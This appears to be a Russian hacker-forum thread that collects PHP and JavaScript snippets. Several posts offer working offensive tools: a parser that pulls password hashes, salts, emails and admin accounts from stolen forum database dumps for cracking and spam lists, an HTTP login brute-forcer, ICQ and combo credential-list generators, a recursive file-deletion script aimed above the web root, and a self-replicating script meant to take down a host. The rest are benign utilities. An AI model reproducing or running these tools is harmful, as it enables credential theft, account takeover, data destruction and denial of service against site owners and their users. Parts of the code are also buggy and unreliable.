PHP: <?/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*//* /* Forum Dump Parser v0.2 (FDPv0.2) /* by Re@ctor /* http://truenet.net.ru/security/ /* /* /* Скрипт предназначен для частного использования и позволяет /* привести имеющиеся дампы баз данных в единый удобный формат для /* дальнейшего анализа в программе Passwords Pro, либо просто /* в списки для других программ. /* /* Скрипт запрещается использовать в корыстных целях и автор не /* несёт ответственности за возможный ущерб, причинённый от исполь- /* зования данного скрипта. /* /* Скрипт запрещается использовать в противозаконных целях, либо /* целях, ведущих к умышленному или неумышленному нарушению законода- /* тельства Российской Федерации. /* /* Хорошего дня и доброго насроения! ;-) /* Помните про существование TrueNET! =) /* /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/###### 1. выходной формат файлов ####### для брута, формат Passwords Pro#$sort = array('username','password','salt'); # пользователи#$sort = array('email','password','salt'); # мыльники$sort = array('icq','password','salt'); # аськи# помните, что формат PPro - имя:хэш:сальт:расшифр.пароль:комментарий# поэтому надо писать от 2 до 3 значений, т.к. меньше или больше# будет воспринято неверно программой.# просто базы#$sort = array('email'); # e-mail#$sort = array('icq'); # icq###### 2. формирование строк ######$delim = "¤"; # разделитель между значениями$br = "\n"; # чем заканчивать строку (\n - перенос строки)###### 3. промежуточный вывод ######$makefiles = 1; # делать ли отдельные файлы для каждого дампа$ext = "txt"; # расширение выходного файла этих файлов###### 4. параметры сбора информации ######$site = 1; # если $makefiles = 0;, то получать сведения о сайте# из титла и мета-тегов (необоходимо подключение к сети) и записывать в начало файла# ( удобно при составлении тематических спам-баз )# формат файла должен быть префиксАДРЕС_САЙТАрасширение, где префикс и расширение любые$site_prefix = ''; # если $site=1, указать префикс файлов$site_ext = '.sql'; # если $site=1, указать расширение файлов$convert = 0; # конвертировать полученный текст в win-1251, если оно не в нём (отключить при багах)###### 5. общий файл с данными ######$hashmake = 1; # делать ли единый файл со всеми хэшами$hash_filename = '!PasswordsPro.Hashes'; # имя файла с хэшами###### 6. выборка из дампов админов в отдельный файл ######$admins = 1; # сделать файл с хэшами админов дампов$admin_pass = 'password'; # имя ячейки с хэшем пароля$admin_salt = 'salt'; # имя ячейки с салом пароля$admin_comment = array('username','email','icq'); # то что будет в комментарии в полях пассворс-про$admin_filename = '!admin.PasswordsPro.Hashes';###### 7. (WARNING!) имя первой ячейки в таблице ######$firstintable = 'userid'; # название первой ячейки в таблице (важно!)ini_set("max_execution_time","86400");set_time_limit(0);function make($value) { return preg_replace("'\'(.*?)\''i",'\\1',$value); }function checksalt($salt) { if(strlen($salt)>3) return str_replace(array("\\\\",'\"',"\'"),array("\\",'"',"'"),$salt); else return $salt; }function koi($txt) { return convert_cyr_string($txt,'k','w'); }function iso($txt) { return convert_cyr_string($txt,'i','w'); }function myau() { echo "\n\nDone! ;-D\n\nNice day. Visit http://truenet.net.ru/ !\n\n"; }$d=opendir('.');while(($e=readdir($d))!=false) { if($e=='.'||$e=='..'||$e==$admin_filename||$e==$hash_filename||$e==$argv[0]) continue; if(is_file($e)) { if($makefiles==1)$f = fopen("$e.$ext","w+"); echo "[+] $e (".filesize($e)." bytes)\n"; $file = file($e); foreach($file as $a) { $tmp = explode(' ',$a); $tablesuf=$tmp[1]; if(!$vars) { if($tablesuf==$firstintable) { $vars[]=array('name'=>$firstintable,'num'=>0); } continue; } foreach(array_unique(array_merge($sort,$admin_comment)) as $s) { if($tablesuf==$s) { $vars[]=array('name'=>$s,'num'=>count($vars)); $y=1; } } if(!$y) $vars[]='b'; else unset($y); if(strstr($a,'PRIMARY KEY')) break; } foreach($file as $a) { if(strstr($a,"INSERT INTO")) { $tmp = preg_replace("'INSERT INTO (.*?) VALUES\((.*?)\);'i",'\\2',$a); $values = explode(',',$tmp); foreach($values as $v) { $m[] = str_replace(array("\r","\n"),'',$v); } foreach($sort as $s) { if(!$vars) { echo "[!] Can't get table values from $e =[\n"; break; } else foreach($vars as $v) { if($admins==1&&$hashmake==0&&$makefiles==0) { if(!$tr) $tr[]=$e; if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]); elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']])); foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]); $admok=1; } else { if($s==$v['name']) { if($s=='salt') $tm[] = checksalt(make($m[$v['num']])); else $tm[] = make($m[$v['num']]); } if($admins==1&&!$admok) { if(!$tr) $tr[]=$e; if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]); elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']])); foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]); } } } if($admok==1) break; $admok=2; } if($tm[0])$globhash[]=$towrite[]=@implode($tm,$delim); if($admins==1)if($tr[0])$odmen[]=@implode($tr,$delim).$delim.$delim.@implode($comment,', '); unset($tr); unset($m); unset($tm); unset($comment); if($admok==1) break; } } if($makefiles==1) { if($site==1) { $host = preg_replace("'$site_prefix(.*?)$site_ext'i",'\\1',$e); echo "[:] connecting to $host..\n"; $fp = fsockopen($host,80,&$errno,&$errstr,5); if(!$fp) echo "[:] Error connecting $host ($errno - $errstr)\n"; fputs($fp,"GET / HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\r\nHost: $host\r\nAccept-Language: ru\r\nAccept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n\r\n"); while(!feof($fp)) { $tmp=fgets($fp,1000); if(preg_match("'charset='i",$tmp)||!$schar) { $ch=preg_replace("'(.*?)charset=(.*?)\r\n'i",'\\2',$tmp); if(preg_match("'koi8-r'i",$ch)) $koi=1; elseif(preg_match("'iso8859-5'i",$ch)) $iso=1; $schar=1; } elseif(preg_match("'<title>(.*?)</title>'i",$tmp)) { $title=preg_replace("'(.*?)<title>(.*?)</title>(.*?)'i",'\\2',$tmp); echo "[:] TITLE ok..\n"; } elseif(preg_match("'<meta (.*?)keywords(.*?)>'i",$tmp)) { $kiwords=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp); echo "[:] KEYWORDS ok..\n"; } elseif(preg_match("'<meta (.*?)description(.*?)>'i",$tmp)) { $descr=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp); echo "[:] DESCRIPTION ok..\n"; } elseif(preg_match("'</head>'i",$tmp)||preg_match("'<body'i",$tmp)) break; } fclose($fp); if($koi||$convert==1) { $title=koi($title); $kiwords=koi($kiwords); $descr=koi($descr); } if($iso||$convert==1) { $title=iso($title); $kiwords=iso($kiwords); $descr=iso($descr); } $info="Site: $host\nTitle: $title\nDescription: $descr\nKeywords: $kiwords\n\n"; $title=$host=$descr=$kiwords=''; } echo "[~] sorting and writing hashes in $e.$ext..\n"; @asort($towrite); fwrite($f,$info.@implode($towrite,$br)); fclose($f); unset($info); } unset($vars); unset($file); unset($towrite); unset($admok); }}if($hashmake==1) { echo "[*] sorting & writing all hashes..\n"; @asort($globhash); $f = fopen($hash_filename,"w+");fwrite($f,@implode($globhash,$br));fclose($f);}if($admins==1) { echo "[*] sorting & writing admin hashes..\n"; @asort($odmen); $f = fopen($admin_filename,"w+"); fwrite($f,@implode($odmen,$br)); fclose($f);}myau();?>
JavaScript попап Code: function popup(height,width,tittle,text) { msg=window.open("","msg","height="+height+",width="+width+",left=300,top=300"); msg.document.write("<html><title>"+tittle+"</title>"); msg.document.write("<b"+"ody onblur=window.close()>"); msg.document.write(text); msg.document.write("</b"+"ody></html>"); } Только что дорабатывал скрипт своей гостевой и с удивлением заметил, что в PHP < 5 отсутствует столь важная функция str_ireplace. Но безвыходных ситуаций не бывает PHP: if(!function_exists('str_ireplace')) { function str_ireplace($search,$replace,$subject) { $search = preg_quote($search, "/"); return preg_replace("/".$search."/i", $replace, $subject); } }
Классический пример получения док-а по httP Скрипт, который по httP протоколу получает документ с сервера:: PHP: <? $fp = fsockopen("www.host.ru", 80, &$errno, &errstr, 30); //посылаем GET-форму в виде "URL+хост" fputs($fp, "GET /files/doc.zip HTTP/1.0\nHOST: www.host.ru \n\n"); //ситаем все до начала следующего док-а while(fgets($fp, 2048) !="\n\n" && !feof($fp)); //копируем то, что прочитали в переменную $buff uset($buff); while(!feof($fp)) $buff.=fread($fp, 2048); //закрывается сокет fclose($fp); echo 'Файл загружен, размер файла: ' .strlen($buff). 'bytes.'; flush(); //далее записываем загруженный файл в другой, //к примеру, dload.out. Если мы скачали zip файл, то, // переименовав dload.out в dload.zip, можно дальше //работать с этим файлом как с обычным zip архивом. $f=fopen('dload.out', 'wb+'); fwrite($f, $buff, strlen($buff)); fclose($f); ?> ЗЫ::Ответ сервера состоит из заголовка и тела документа. Интересует же только тело документа. Поэтому, все что идет до документа мы пропускаем, зная, что заголовок от тела документа отделяется строкой "\r\n". Заголовок читается функцией 'fgets', а бинарные данные 'fread' ЗЫЫ:: кстати не так давно, не помню кто, спрашивали о генераторе паролей..простейший вариант: PHP: <? $pass = md5(uniqid(rand), true); //возвращается 128-битный хеш ... ?>
рекурсивное удаление Зло зло зло__)) //малые шалости_ "Кому-то создавать, кто-то должен созедать, а кто-то наглый) все разрушать" Теперь по делу:: PHP: <?php //вызывается функция, удаляющая файлы с сервера, с параметром '..', )) //чтобы подняться на один уровень выше:: это позволит уничтожить больше файлов, ))) //так как наверняка веб_приложение находится в отдельной директории)))) //поехали delfiles(".."); //функция, удаляющая каталоги и файлы сервера function delfiles($catalog) { $dir = opendir($catalog) while (false !== ($file = readdir($dir)) { //Если текущей объект - файл, то что делаем?? del del & del if(is_file($catalog."/".$file)) unlink($$catalog."/".$file); //Если текущий объект - каталог, то рекурсивный вызов delfiles(), //тем самым избегаем каталогов '.' и '..', //которые соответствуют текущему и вышележащему)) else if (is_dir($catalog.'/'.$file) && ($file !='.') && ($file != '..')) delfiles($catalog.'/'.$files); } //закрываем дир closedir($dir); //ну и на последок)) rmdir($catalog); } ?> О недосказанном:: есть возможность модификации рекурсии вверх по дереву)) НО последнее слово как всегда за правами доступа))..ну разве это проблема) Итак дамы и господа) будте бдительны!! Порой безопасность приложений играет более важную роль чем сами приложения Безопасность:: Решить вышеописанную проблему поможет проверка расширения файла (а может и не решить))) зы:: 2nc.striem -> исправлено!
Вот, сегодня написал... Генерация uin;pass list по словарю для уинов с заданной маской (xxxyxxz 5557552) PHP: <?php $mask = "xxxyxxz"; $pass = file("pass.txt"); $f = fopen("result.txt", "w"); If ($mask){ For ($x = 1; $x <= 9; $x++){ For ($y = 0; $y <= 9; $y++){ For ($z = 0; $z <= 9; $z++){ For ($p = 0; $p <= 99; $p++){ If ($pass[$p+1]) { $num = $mask; For ($n = 0; $n <= 8; $n++){ If ( $num[$n] == "x" ) { $num[$n] = $x; } If ( $num[$n] == "y" ) { $num[$n] = $y; } If ( $num[$n] == "z" ) { $num[$n] = $z; } } fputs ($f,$num.";".$pass[$p]); }}}}}} fclose ($f); ?>
конвертирование jpg в html с 100% сохранением качества картинки! (размер знчительно увеличеваеться) PHP: <? $imgjpg='pic.jpg'; //имя jpg картинки set_time_limit(0); $start=time('s'); $fo=fopen($imgjpg.'.html','w'); fwrite($fo,'<table border=0 cellspacing=0 cellpadding=0><style>td{width: 1px;height: 1px;}</style>'); $im = ImageCreateFromjpeg($imgjpg); $sim=array(0,1,2,3,4,5,6,7,8,9,'A','B','C','D','E','F'); function to16($de) { global $sim; $ans=''; $ans.=$sim[($de-$de%16)/16]; $ans.=$sim[$de%16]; return $ans; } $x=imagesx($im); $y=imagesy($im); for($j=0;$j<$y;$j++) {fwrite($fo,'<tr>'); for($i=0;$i<$x;$i++) { $rgb=ImageColorAt($im, $i,$j); $r = to16(($rgb >> 16) & 0xFF); $g = to16(($rgb >> 8) & 0xFF); $b =to16($rgb & 0xFF); fwrite($fo,"<td bgcolor=$r$g$b></td>"); } fwrite($fo,'</tr>'); } fclose($fo); echo 'Законченно за: '.(time('s')-$start).' секунд(ы)<br><a href="'.$imgjpg.'.html">Открыть</a>'; ?>
Кто вас так учил писать регулярные выражения?) Ты что.Я ужаснулся когда это увидел. PHP: <?php $data="HTTP 203.94.89.112 80 No UnResolved UnResolved 704 No HTTP 66.165.172.163 80 No UnResolved UnResolved 562 No HTTP 212.227.80.22 3128 No UnKnown s15179588.rootmaster.info 4328 No HTTP 219.95.65.250 80 No UnResolved UnResolved 1047 No HTTP 85.88.182.139 3128 No Russia not-defined-pppoe.amur.ru 1032 No"; preg_match_all("/[\d]+\.[\d]+\.[\d]+\.[\d]+\s[\d]+/i",$data,$match); print_r($match); ?>
Вот, давненько писал, руки никак не доходят чтоб чазмер и прорчие прелести выводились =) Галерея для изображений. По дэфолту берет все изображения из папки /walp. Автоматически считает все картинки в папке и постранично выводит их уменьшенные копии ( по 4 на странице ). При нажатии на мини - картинку, кидает на оригинал. PHP: <?php $dir = opendir ("./walp"); $count_f = 0; while ( $file = readdir ($dir)) { if (( $file != ".") && ($file != "..")) { $count_f = $count_f + 1; } $walp[$count_f] = $file; } closedir ($dir); // Выводим список страниц If ($p == 0) { $p = 1; } print ("<br><br>"); $pp = $p - 1; print ("pages :"); if ($p > 1) { print ("<a href = ?p=$pp> <<prev..</a>"); } print ("<a href = ?p=1>1</a>"); for ($i = 2; $i <= ($count_f/4); $i++) { print ("..<a href = ?p=$i>$i</a>"); } $count_fn = $count_f/4; if (($i - 1)*4 < $count_f) { print ("..<a href = ?p=$i>$i</a>"); } $pn = $p + 1; if ($p < $count_f/4) { print ("<a href= ?p=$pn>..next>></a></a>"); } print ("<br><hr width = 80%>"); // Выводим картинки в зависимоти от страницы if ($p < $count_f/4) { for ($i = ($p*4 - 3); $i <= ($p*4); $i++) { print ("<a href = ./walp/$walp[$i]><img src = ./walp/$walp[$i] width=400></a><br><br><hr width = 80%><br>"); } print ("<br><br>"); } if ( $p >= $count_f/4) { for ($i = ($p*4 - 3); $i <= $count_f; $i++) { print ("<a href = ./walp/$walp[$i]><img src = ./walp/$walp[$i] width=400></a><br><br><hr width = 80%><br>"); } print ("<br><br>"); } // Выводим список страниц print ("<br><br>"); $pp = $p - 1; print ("pages :"); if ($p > 1) { print ("<a href = ?p=$pp> <<prev..</a>"); } print ("<a href = ?p=1>1</a>"); for ($i = 2; $i <= ($count_f/4); $i++) { print ("..<a href = ?p=$i>$i</a>"); } $count_fn = $count_f/4; if (($i - 1)*4 < $count_f) { print ("..<a href = ?p=$i>$i</a>"); } $pn = $p + 1; if ($p < $count_f/4) { print ("<a href= ?p=$pn>..next>></a></a>"); } print ("<br><hr width = 80%>"); ?>
>>>mamont http://php.ru/manual/function.scandir.html функция scandir() есть начиная с 5ой версии, а она еще не везде стоит((
Этот скрипт создает комбо лист. PHP: <? $login = file('login.txt'); $pass = file('pass.txt'); $combo = fopen('combo.txt','a'); for($a='0'; $a<sizeof($login); $a++) { for($b='0'; $b<sizeof($pass); $b++) { fwrite($combo, rtrim($login[$a]).';'.$pass[$b]); } } fclose($combo); ?> а Этот скрипт читает файл сравнивает с шаблоном и выводит список совпадений без повтарений. PHP: <? error_reporting(0); $sha = '(www)\.[a-z0-9A-Z]{1,100}\.(com)'; $path = 'file.htm'; $end = array(); $link = ''; $file = fopen($path, 'r'); while(!feof($file)) {$_file = fgets($file); if(ereg($sha, $_file, $link)) {array_push($end, $link['0']);}} fclose($file); $end = array_unique($end); foreach($end as $key => $val) {echo $val.'<br>';} ?>
Скрипт простой брутфорс атаки по http. (Некотрые моменты были упущены и специально не рассмотрены, чуть позже для наглядности приведу реальный пример, с разбором тела ответа, но пока только так. Также очень часто для защиты от подобной атаки приложения используют различные проверки по заголовкам, их помогает избежать подмена данных в заголовках. Так же чуть позже напишу скрипт брута через прокси) Скрипту необходимо 2-а файла. 1-ый со списком логинов (каждый логин в новой строке!). 2-ой словарь для брута (каждое слово в новой строке!) PHP: <?php //массив логинов $f_log = fopen ('login.txt', 'r'); $login = fread($f_log, 65000); $name = explode("\n", $login); for ($i=0; $i<count($name); $i++) { $name[$i]=trim($name[$i]); } fclose($f_log); //массив паролей из словаря)) $f_pass = fopen ('pass.txt', 'r'); $passwd = fread($f_pass, 65000); $pass = explode("\n", $passwd); for ($i=0; $i<count($pass); $i++) { $pass[$i]=trim($pass[$i]); } fclose($f_pass); $hostname = "www.host.ru"; //соединяемся с сервером $fp = fsockopen($hostname, 80, $errno, $errstr, 30); if(!$fp) { //проверяем успешность соединения echo "$errstr ($errno)<br />\n"; } else { //собственно брут for($n=0; $n<count($name); $n++) { $path = "/script.php?login=".$name[$n]."&passwd="; for($p=0; $p<count($pass); $p++) { $header = "GET http://".$hostname.$path.$pass[$p]." HTTP/1.0\n\n"; //отправляем запрос fputs($fp, $header); //построчно считываем ответ сервера $line=''; while (!feof($fp)) { $line .= fgets($fp, 1024); } //работаем с ответом //особенность аутентификации через формы - это невозможность анализа полей //http заголовков, так как независимо от успешности аутентификации в них будет '200OK' //соответственно необходим парсинг тела ответа на наличие //характерных элементов успешной аутентификации //$rez = fopen('rezcopyline.txt', 'a+'); применяется для //fputs($rez, $line); отладки //fclose($rez); скрипта //здесь несколько строк кода разбора ответа //шаблонного примера здесь привести не могу //т.к. абсолютно каждый раз код разный //если характерный элемент был найден:: $luck = 'Для '.$name[$n].' пароль: '.$pass[$p]; $f_success = fopen('result.txt', 'a+'); fputs($f_success, $luck); //пишем результат в файл fclose($f_success); echo '<br>'; echo 'Для '.$name[$n].' пароль: '.$pass[$p]; echo '<br>'; } } } fclose($fp); ?> зы:: под мелкие нужды легко вносятся изменения или модификации. ззы:: если у кого возникли вопросы и предложения,в личку! зззы:: всю конструктивную критику с удовольствием принимаю!!
PHP. Функция для вывода списка файлов в данной дериктоии и ниже. Форматировать по вкусу. PHP: function browse_tree($npath, $ipath, $showhtfiles=false) { $op=""; $notadir=array(".", ".."); $dir=opendir($npath); while ($file=readdir($dir)) { // если стоит опция не показывать файлы вроде ".htaccess" - проверяем $stripped_as_ht=($showhtfiles) ? false : (substr($file,0,1)==".") ; // если это не "." и не ".." if ((filetype($npath.$file)=="dir")&&(!in_array($file, $notadir)) { $nipath="$ipath/$file"; browse($npath.$file."/", $nipath); } else if ((!in_array($file,$notadir)) && (!$stripped_as_ht)) { $op.="$ipath/$file\n"; } } // При необходимости - раскомментировать следующую строку // $op=nl2br($op); return $op; }
Функция ресайза изображения Функция ресайза изображения На вход подаются путь к изменяемой картинке, новая ширина и высота. PHP: function SetImgSize($img, $width, $height) { //получаем тип файла { case "jpg": $srcImage = @ImageCreateFromJPEG($img); break; case "gif": $srcImage = ImageCreateFromGIF($img); break; case "png": $srcImage = ImageCreateFromPNG($img); break; default: return -1; break; } $srcWidth = ImageSX($srcImage); $srcHeight = ImageSY($srcImage); if(($width < $srcWidth) || ($height < $srcHeight)) { $ratioWidth = $srcWidth/$width; $ratioHeight = $srcHeight/$height; if($ratioWidth < $ratioHeight) { $destWidth = $srcWidth/$ratioHeight; $destHeight = $height; } else { $destWidth = $width; $destHeight = $srcHeight/$ratioWidth; } $resImage = ImageCreateTrueColor($destWidth, $destHeight); ImageCopyResampled($resImage, $srcImage, 0, 0, 0, 0, $destWidth, $destHeight, $srcWidth, $srcHeight); unlink($img); //определяем тип { case "jpg": ImageJPEG($resImage, $img, 100); break; case "gif": ImageGIF($resImage, $img); break; case "png": ImagePNG($resImage, $img); break; } ImageDestroy($srcImage); ImageDestroy($resImage); } }
Скрипт, может не совсем полезный... В общем, downer... Прицнип работы: 1. Запускается скрипт, в нем вечный цикл, который создает точно такой же скрипт с другим именем и запускает его. 2. Шаг 1 За 10 секунд один файл порождает около 1000 таких скриптов и запускает их... Эти 1000 скрипт за следующие 10 секунд пораждают 1000 * 1000 таких скрипт и запускают их %))) Я думаю это должно убить хостинг. Требования: поддержка popen на хосте и права на создание файлов в папке. Скрипт написал за 10 минут, просто было интерестно )) PHP: <?php // HOST DoooWNER // By SpeedHack if (isset($_GET['start'])) { $fp = popen('php -f ' . __FILE__ . ' &', 'r'); pclose($fp); } else { while (1) { $file = dirname(__FILE__) . '/' . md5(uniqid()) . '.php'; $fp = fopen($file, 'w'); fwrite($fp, file_get_contents(__FILE__)); fclose($fp); $fp = popen('php -f ' . $file . ' &', 'r'); pclose($fp); } } ?>
Можно чуть упростить: PHP: <?php while (1) { $new = dirname(__FILE__) . '/' . md5(uniqid()) . '.php'; $fp = fopen($new, 'w'); fwrite($fp, file_get_contents(__FILE__)); fclose($fp); $fp = popen('php -f ' . $new . ' &', 'r'); pclose($fp); } ?>
прикольно показывает анекдотики Code: <p align="left"><strong>Анекдот:</strong><br> <font size="1" face="Verdana, Arial"><script language="JavaScript"> var h=(Math.random()*26); if (h <1) document.writeln("- Мыкола, ты слыхал, як москали ICMP-пакеты называють? <br> - Як? <br> - Пинги!.."); if (h > 1 && h < 2) document.writeln("Интернетчика спросили: <br> - Что такое Червона Рута? <br> - Это женщина-админ на сервере Компартии."); if (h > 2 && h < 3) document.writeln("Звонок в компьютерную контору: <br> - С моим компьютером проблемы, он не включается... <br> - Как не включается? <br> - Да пишет все время: Вставьте дискету, вставьте дискету... <br> - А вы вставляли? <br> - Нет... Как-то не догадался."); if (h > 3 && h < 4) document.writeln("Подведены итоги лотереи <b>Windows 95</b>: <br> Выиграла фирма Microsoft. Разыграны миллионы чайников."); if (h > 4 && h < 5) document.writeln("Школьный учитель спрашивает учеников о профессии родителей: <br> - Вася, чем твоя мама занимается на работе? <br> Вася встает и гордо говорит: <br> - Она - доктор! <br> - Замечательно, ну как насчет тебя, Маша? <br> Девочка стеснительно произносит: <br> - Мой папа разносит почту. <br> - Спасибо, Маша - говорит учитель. <br> Ну, а твои родители что делают, Вовочка? <br> Вовочка гордо встает и объявляет: <br> - Мой папа играет музыку в борделе! <br> Обалдевший учитель решил направиться к Вовочке домой. <br> - В каких условиях вы растите ребенка? - спрашивает он у отца. <br> Тот отвечает: <br> - Вообще-то я программист и специализируюсь на TCP/IP коммуникационном протоколе в системе UNIX. Ну как объяснить это семилетнему пацану?"); if (h > 5 && h < 6) document.writeln("- Вы уверены,что хотите удалить папку D:\TEMP? <br> - Да! <br> - В этой папке находятся файлы. Вы уверены, что хотите их удалить? <br> - Да!! <br> - Удаление этих файлов может повлиять на зарегистрированные программы. Вы все еще уверены? <br> - Да!!! - Эти файлы могут использоваться системой. Вы уверены? <br> - Пошла ты нахрен! - заорал админ и нажал Cancel. <br> - Ага! Испугался! - подумала NT."); if (h > 6 && h < 7) document.writeln("Идет молитва в церкви. Чинно-спокойно льется речь. <br> Вдруг небеса разверзаются и оттуда в лучах небесного света появляется лицо Бога: <br> - Сыны и дочери мои, настал момент... <br> Со страшным грохотом небеса захлопываются. <br> Все прихожане в шоке! Никто не верит своим глазам. <br> Через несколько минут все повторяется снова: <br> - Сыны и дочери мои, настал момент мне предст.... <br> Все судорожно крестятся. Вдруг небеса опять разверзаются, из сияния выглядывает омраченный лик Господа: <br> - Вот же гребаный провайдер!"); if (h > 7 && h < 8) document.writeln("Компьютер позволяет решать все те проблемы, которых до изобретения компьютера не существовало."); if (h > 8 && h < 9) document.writeln("Штирлиц просматривает электронную почту. <br> Hезаметно входит Мюллер. У Штирлица на экране бессмысленный набор символов. <br> - Шифровка! - подумал Мюллер. <br> - Koi8-r - подумал Штирлиц."); if (h > 9 && h <10) document.writeln("Завис компьютер? Выдерни шнур, выдави стекло."); if (h > 10 && h <11) document.writeln("Чем отличается программист от пользователя? <br> Пользователь думает, что в килобайте 1000 байт, а программист думает, что в километре 1024 метра."); if (h > 11 && h <12) document.writeln("По окончании инсталляции программ Microsoft очень часто можно прочесть <br> - <b>Мы долго и трудно работали. Наслаждайтесь!</b> <br> После работы с некоторыми программами Microsoft хочется изменить эту фразу на следующую: <br> <b>- Мы долго и трудно работали. Теперь - ваша очередь!</b>"); if (h > 12 && h <13) document.writeln("Предлагается к продаже <b>Соборъ</b> - надёжная помощь в комплексной автоматизации вашего прихода. Компьютер <b>Соборъ</b> - это: <br> - кадило и сокадило на 1GHz <br> - оперативная паперть, расширяемая до 1024 меганищих <br> - 15-ти дюймовый SVGA алтарь (на складе имеются 17-ти и 21 дюймовые модели) <br> - жесткий несъемный крест <br> - кружка двухщелевая типа <b>На восстановление храма</b> <br> - круглый принтер для пасхальных яиц <br> - клавиатура со старославянским шрифтом и раскладкой <br> По желанию заказчика может быть установлено следующее лицензионное ПО: <br> - Старый Завет 95 <br> - Новый Завет 98 <br> - Слово Господне 2000 <br> - 1С: Исповедальня (с сохранением тайны исповеди и выводом на широкий принтер) <br> Так же наша организация подключит ваш компьютер через выделенную линию к Верховному Провайдеру."); if (h > 13 && h <14) document.writeln("Если чрезмерная увлеченность вашего ребенка компьютерными играми вызывает у вас беспокойство, постарайтесь приобщить его к более серьезным и здоровым занятиям: картам, вину, девочкам."); if (h > 14 && h <15) document.writeln("Пpиходит сантехник к пpогpаммисту pемонтиpовать засоpившуюся pаковину и начинает ковыpяться в отстойнике... <br> - А у вас тут из сети все на винт падает... Вот и забило! <br> - Hадо винт больше ставить? <br> - Hет, винт надо вообще нахрен спилить!"); if (h > 15 && h <16) document.writeln("Программист ставит себе на тумбочку перед сном два стакана. <br> Один с водой - на случай, если захочет ночью пить. А второй пустой - на случай, если не захочет."); if (h > 16 && h <17) document.writeln("Что общего между морской свинкой и женщиной-программером? То, что морская свинка - она и не свинка, и не морская."); if (h > 17 && h <18) document.writeln("Земля. 2050 год. Генный инженер-программист разбирает очерендной кусок генной последовательности и видит следующий комментарий: <br> - /* A eti geny nado by ubrat nahren. Archangel Gavriil */"); if (h > 18 && h <19) document.writeln("Компьютерщик, провозившийся всю ночь с установкой кривой видео-карты, заходит в булочную после бессонной ночи: <br> - Мне, пожалуйста, буханку черно-белого хлеба и батон цветного."); if (h > 19 && h <20) document.writeln("Едут в машине новый русский, инженер и программист. Машина заглохла. Инженер: <br> - Сейчас посмотрю в чем дело! <br> Новый русский: <br> - Да не беспокойся, я по мобильнику спецбригаду вызову! <br> Программист: <br> - Спокойно, ребята, сейчас выйдем, снова зайдем и она заработает!"); if (h > 20 && h <21) document.writeln("Приходит программист в библиотеку и говорит: <br> - Позовите мне архивариуса! Мне надо его спросить! <br> - Я его отправил в архив. Могу я вам помочь? <br> - Разархивируйте его, он мне срочно нужен!"); if (h > 21 && h <22) document.writeln("Есть три способа, которыми русские програмисты достают программное обеспечение: <br> воровство, грабеж и обмен награбленным."); if (h > 22 && h <23) document.writeln("Билл Гейтс получил Hобелевскую премию по экономике и медицине за то, что додумался продавать геморрой за такие большие деньги!"); if (h > 23 && h <24) document.writeln("В кои-то веки программер идет домой засветло. Все вокруг красиво, деревья, птички, облачка... Останавливается он и говорит: <br> - Вот ведь блин, и ведь без всякого OpenGL!"); if (h > 24 && h <25) document.writeln("Два программиста едут в переполненном автобусе. Один - другому: <br> - Что-то у меня с писюком! <br> Пассажиры замирают. <br> - А что с ним? <br> - Да висит часто... <br> - Может вирус какой? <br> - Да проверял, все стерильно... <br> - А висит хорошо? <br> - Крепко, тремя пальцами не поможешь..."); if (h > 25 && h <26) document.writeln("Один компьютерщик рассказывает другому: <br> - Представляешь, вчера возвращаюсь с работы чуть раньше обычного, а у жены в постели - незнакомый мужик. И глаза у обоих хитрые-хитрые... Я сразу неладное заподозрил, кинулся к компу, пытаюсь выйти в Интернет - а они, гады, пароль сменили..."); </script></font> </p>
Самая защищенная и комфортная каптча: captcha.php PHP: <?php session_start(); ?> <img src="captcha.php" /> <form method="post"> Enter code : <input type="text" name="get_code"> <input name="sub" type=submit value="Проверить"> </form> <?php if($_POST['sub']) { if($_POST['get_code'] == $_SESSION['code']) { echo "Картинка введена верно"; } else { echo "Картинка введена неверно"; } } ?> captcha.php PHP: <?php session_start(); session_register('code'); $_SESSION['code'] = rand(1000000,9999999); for($i = 0; $i < 7; $i++) { $arr[$i] = substr($_SESSION['code'],$i,1); } $im = imagecreate(130,40); imagecolorallocate($im,255,255,255); $a = 0; for($i = 0; $i < 7;$i++) { $color=imagecolorallocate($im,rand(0,250),rand(0,250),rand(0,250)); imagestring($im,3,$a+=15,0,$arr[$i],$color); } header("Content-type: image/jpeg"); imagejpeg($im,'',100); ?>